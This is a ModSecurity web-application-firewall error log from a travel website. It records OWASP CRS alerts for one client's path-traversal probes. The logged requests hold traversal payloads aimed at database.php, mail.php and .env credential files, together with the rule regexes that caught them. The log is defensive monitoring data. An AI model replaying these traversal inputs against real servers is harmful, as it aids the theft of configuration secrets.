[Fri Jul 17 08:55:07.739813 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:log. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:log: ../../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk6quHSHoCJK_V0SBWgAAABs"]
[Fri Jul 17 08:55:07.739864 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:log. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:log: ../../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk6quHSHoCJK_V0SBWgAAABs"]
[Fri Jul 17 08:55:07.739983 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:log. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:log: ../../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk6quHSHoCJK_V0SBWgAAABs"]
[Fri Jul 17 08:55:07.741704 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk6quHSHoCJK_V0SBWgAAABs"]
[Fri Jul 17 08:55:07.747129 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:log. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:log: ../config/mail.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk11_86A5R6msWNfUagAAABI"]
[Fri Jul 17 08:55:07.747210 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:log. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:log: ../config/mail.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk11_86A5R6msWNfUagAAABI"]
[Fri Jul 17 08:55:07.748994 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk11_86A5R6msWNfUagAAABI"]
[Fri Jul 17 08:55:07.749230 2026] [hostinglimits:warn] [pid 2029866:tid 2029866] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029866) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.749702 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgk11_86A5R6msWNfUagAAABI"]
[Fri Jul 17 08:55:07.753916 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?log=..%2F..%2Fconfig%2Fmail.php&cb=V_ySWBJOcs4SZU_LqJEKMG3yMye5xN67es0NREgSRtnnYY794wMLJd4qggq1sFp3g1lz-wJ_L4g_4V7eB_RvxmUuDrYQMOZgC7Jk-z04yFuJYqhn08oPENaptA4mZJPLamAJjv3GV5pAKyNjrzoSlMo_xDQnoCM19bA_0b827ltRkeBejjs2geR9-Cs3TcwhIbsynzt0tBJtSypZOMxINViG5MYhZeQbcFBxMcWr9Izm1PVIhy4ohDUiFJBzxGWvW_HnnW2d9FwsLrQpwRpESFCQ&extra=COLHBTDMLFN4H6QBVE4IXZFKIZAYLFRKWCXTKIZ2HF25VFR7ZM2MQXMMTR2NSHNWO3WH73RPNLDT4MYZHLCYGJ3QXZJCWW53DJO7ORIOUEGYSDCJKYKFSLG72ELLY2E7NDH6..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4e39YUk0SgV8AU6gQAAABE"]
[Fri Jul 17 08:55:07.753966 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:log. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:log: ../../config/mail.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4e39YUk0SgV8AU6gQAAABE"]
[Fri Jul 17 08:55:07.754022 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?log=../../config/mail.php&cb=V_ySWBJOcs4SZU_LqJEKMG3yMye5xN67es0NREgSRtnnYY794wMLJd4qggq1sFp3g1lz-wJ_L4g_4V7eB_RvxmUuDrYQMOZgC7Jk-z04yFuJYqhn08oPENaptA4mZJPLamAJjv3GV5pAKyNjrzoSlMo_xDQnoCM19bA_0b827ltRkeBejjs2geR9-Cs3TcwhIbsynzt0tBJtSypZOMxINViG5MYhZeQbcFBxMcWr9Izm1PVIhy4ohDUiFJBzxGWvW_HnnW2d9FwsLrQpwRpESFCQ&extra=COLHBTDMLFN4H6QBVE4IXZFKIZAYLFRKWCXTKIZ2HF25VFR7ZM2MQXMMTR2NSHNWO3WH73RPNLDT4MYZHLCYGJ3QXZJCWW53DJO7ORIOUEGYSDCJKYKFSLG72ELLY2E7NDH6UPXVVWCQ5QQ7DE..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4e39YUk0SgV8AU6gQAAABE"]
[Fri Jul 17 08:55:07.754061 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?log=../../config/mail.php&cb=v_yswbjocs4szu_lqjekmg3ymye5xn67es0nregsrtnnyy794wmljd4qggq1sfp3g1lz-wj_l4g_4v7eb_rvxmuudryqmozgc7jk-z04yfujyqhn08openapta4mzjplamajjv3gv5pakynjrzoslmo_xdqnocm19ba_0b827ltrkebejjs2ger9-cs3tcwhibsynzt0tbjtsypzomxinvig5myhzeqbcfbxmcwr9izm1pvihy4ohduifjbzxgwvw_hnnw2d9fwslrqpwrpesfcq&extra=colhbtdmlfn4h6qbve4ixzfkizaylfrkwcxtkiz2hf25vfr7zm2mqxmmtr2nshnwo3wh73rpnldt4myzhlcygj3qxzjcww53djo7oriouegysdcjkykfslg72elly2e7ndh6upxvvwcq5qq7de..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4e39YUk0SgV8AU6gQAAABE"]
[Fri Jul 17 08:55:07.754085 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:log. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:log: ../../config/mail.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4e39YUk0SgV8AU6gQAAABE"]
[Fri Jul 17 08:55:07.754104 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:log. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:log: ../../config/mail.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4e39YUk0SgV8AU6gQAAABE"]
[Fri Jul 17 08:55:07.755295 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4e39YUk0SgV8AU6gQAAABE"]
[Fri Jul 17 08:55:07.755440 2026] [hostinglimits:warn] [pid 2030804:tid 2030804] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030804) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.755762 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgk4e39YUk0SgV8AU6gQAAABE"]
[Fri Jul 17 08:55:07.762548 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?lang=..%2F..%2F..%2F.env&cb=e2mz2MbyfD5ATEhTXtlFEyqunocNPD-Kb5t2ud5dI8dNRd15c9Luf4Cq4Uq_pJ9Y6je-t1piylzKnzlAAfNM9Oxi0czAFC0M1RekhKsliwXob8UuqvQLfqyrPgQQvEA8uowHT8sOknddudiHNYGqO4O6zCF-ss6MDFMKhpMh1G76bgk6LkEIOeggXzMR21i1Hk1LxKBfy65ScCLiHShv6w4hdWAxde-YfgwV9j1tw1xUNck2c4oKnN-FBIvB6qBavQsqTF5H54eiDHmrnjH-nZll&ref=U7674HDTXIYX53I2K43QBEVMLESO7RQDT4BDQENT47LIJ7R5LPZFJEGHBP74GXH6FDZQ4NM3ZV4BMPDE2ISHNQD63ILSJVLTWS4MPMQTZYH4SG2UMDV3ELVAQ6OVYZWXVHWSRETHSXWBW..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkyvekYYQ8uns4MwlLwAAAA0"]
[Fri Jul 17 08:55:07.762595 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:lang: ../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkyvekYYQ8uns4MwlLwAAAA0"]
[Fri Jul 17 08:55:07.762659 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?lang=../../../.env&cb=e2mz2MbyfD5ATEhTXtlFEyqunocNPD-Kb5t2ud5dI8dNRd15c9Luf4Cq4Uq_pJ9Y6je-t1piylzKnzlAAfNM9Oxi0czAFC0M1RekhKsliwXob8UuqvQLfqyrPgQQvEA8uowHT8sOknddudiHNYGqO4O6zCF-ss6MDFMKhpMh1G76bgk6LkEIOeggXzMR21i1Hk1LxKBfy65ScCLiHShv6w4hdWAxde-YfgwV9j1tw1xUNck2c4oKnN-FBIvB6qBavQsqTF5H54eiDHmrnjH-nZll&ref=U7674HDTXIYX53I2K43QBEVMLESO7RQDT4BDQENT47LIJ7R5LPZFJEGHBP74GXH6FDZQ4NM3ZV4BMPDE2ISHNQD63ILSJVLTWS4MPMQTZYH4SG2UMDV3ELVAQ6OVYZWXVHWSRETHSXWBWSAN2YPSDBZZMTH..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkyvekYYQ8uns4MwlLwAAAA0"]
[Fri Jul 17 08:55:07.762687 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?lang=../../../.env&cb=e2mz2mbyfd5atehtxtlfeyqunocnpd-kb5t2ud5di8dnrd15c9luf4cq4uq_pj9y6je-t1piylzknzlaafnm9oxi0czafc0m1rekhksliwxob8uuqvqlfqyrpgqqvea8uowht8soknddudihnygqo4o6zcf-ss6mdfmkhpmh1g76bgk6lkeioeggxzmr21i1hk1lxkbfy65scclihshv6w4hdwaxde-yfgwv9j1tw1xunck2c4oknn-fbivb6qbavqsqtf5h54eidhmrnjh-nzll&ref=u7674hdtxiyx53i2k43qbevmleso7rqdt4bdqent47lij7r5lpzfjeghbp74gxh6fdzq4nm3zv4bmpde2ishnqd63ilsjvltws4mpmqtzyh4sg2umdv3elvaq6ovyzwxvhwsrethsxwbwsan2ypsdbzzmth..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkyvekYYQ8uns4MwlLwAAAA0"]
[Fri Jul 17 08:55:07.762706 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:lang: ../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkyvekYYQ8uns4MwlLwAAAA0"]
[Fri Jul 17 08:55:07.762726 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:lang: ../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkyvekYYQ8uns4MwlLwAAAA0"]
[Fri Jul 17 08:55:07.763885 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkyvekYYQ8uns4MwlLwAAAA0"]
[Fri Jul 17 08:55:07.764030 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.764357 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkyvekYYQ8uns4MwlLwAAAA0"]
[Fri Jul 17 08:55:07.767775 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:lang: ../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95sQAAAAw"]
[Fri Jul 17 08:55:07.767819 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:lang: ../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95sQAAAAw"]
[Fri Jul 17 08:55:07.767975 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: 